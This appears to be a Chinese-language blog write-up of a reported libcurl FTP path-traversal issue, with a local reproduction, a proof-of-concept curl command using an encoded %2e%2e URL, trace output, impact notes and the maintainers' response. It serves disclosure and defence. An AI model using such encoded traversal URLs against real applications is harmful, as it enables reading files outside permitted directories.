libcurl FTP路径规范化漏洞解析:编码%2e%2e导致目录穿越

本文详细分析了libcurl在处理FTP路径时存在的安全漏洞,该漏洞允许攻击者通过编码的%2e%2e序列实现目录穿越,可能导致敏感文件泄露和系统安全风险。文章包含技术细节、复现步骤和影响评估。

libcurl FTP路径规范化漏洞分析

漏洞概述

libcurl在处理FTP路径时存在路径规范化缺陷,当URL中包含编码的%2e%2e(解码后为..)时,libcurl会将其解码并作为正常路径组件处理,导致向FTP服务器发送CWD ..命令,从而实现目录穿越(Path Traversal)。

技术细节

漏洞成因

lib/ftp.c中的ftp_parse_url_path函数在URL解码FTP路径段(如%2e%2e)后,使用特设循环将解码后的路径分割为组件。该代码未执行规范的路径规范化(无基于栈的...处理)。因此,编码的遍历序列如%2e%2e解码为..并可能成为正常路径组件,导致libcurl向远程FTP服务器发出CWD ..命令。

受影响版本

curl 8.4.0 (x86_64-pc-linux-gnu) libcurl/8.4.0

复现步骤

环境准备

1
2
3
4
mkdir -p ~/curl-test/dir ~/curl-test/testdir
echo "INSIDE" > ~/curl-test/dir/inside.txt
echo "OUTSIDE" > ~/curl-test/testdir/outside.txt
cd ~/curl-test

启动FTP服务器

1
2
python3 -m pip install pyftpdlib
python3 -m pyftpdlib -w

执行漏洞利用

1
curl --trace-ascii curl_trace.txt -v "ftp://127.0.0.1:2121/dir//%2e%2e/testdir" 2>&1 | tee curl_stdout.txt

跟踪输出示例

1
2
3
4
CWD dir
< 250 "/dir" is the current directory.
CWD ..
< 250 "/" is the current directory.

漏洞影响

安全风险

  • 路径遍历(CWE-22)—输入验证不当(CWE-20)
  • 远程文件泄露:攻击者可构造URL使libcurl遍历到父目录并尝试在预期目录外进行RETR操作
  • 客户端过滤器绕过:执行简单清理(如搜索字面..)的应用程序可能被编码等效项(%2e%2e)绕过
  • 供应链和自动化滥用:自动处理FTP URL的软件可能被诱骗获取或覆盖允许区域外的文件

利用前提

  • 攻击者必须能够提供由使用libcurl的应用程序处理的FTP URL
  • 核心逻辑中无需特殊身份验证

严重程度

建议严重性:高 CVSS示例向量:AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N → CVSS ~7.x

修复建议

  • 在URL解码后、分割路径组件前执行规范路径规范化(基于栈的./..处理,合并//
  • 拒绝尝试遍历允许根目录以上的路径(返回错误而不是发送CWD)
  • 为编码遍历案例和混合排列添加单元测试

项目方回应

curl维护者确认该问题在8.13.0版本中已修复,并指出:

  • 允许攻击者控制URL本身就会带来多种风险
  • 适当的目录保护必须在服务器端实现,不能依赖客户端保护
  • 使用--path-as-is参数时curl允许此行为

报告最终状态标记为"不适用",但出于透明度政策被公开披露。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计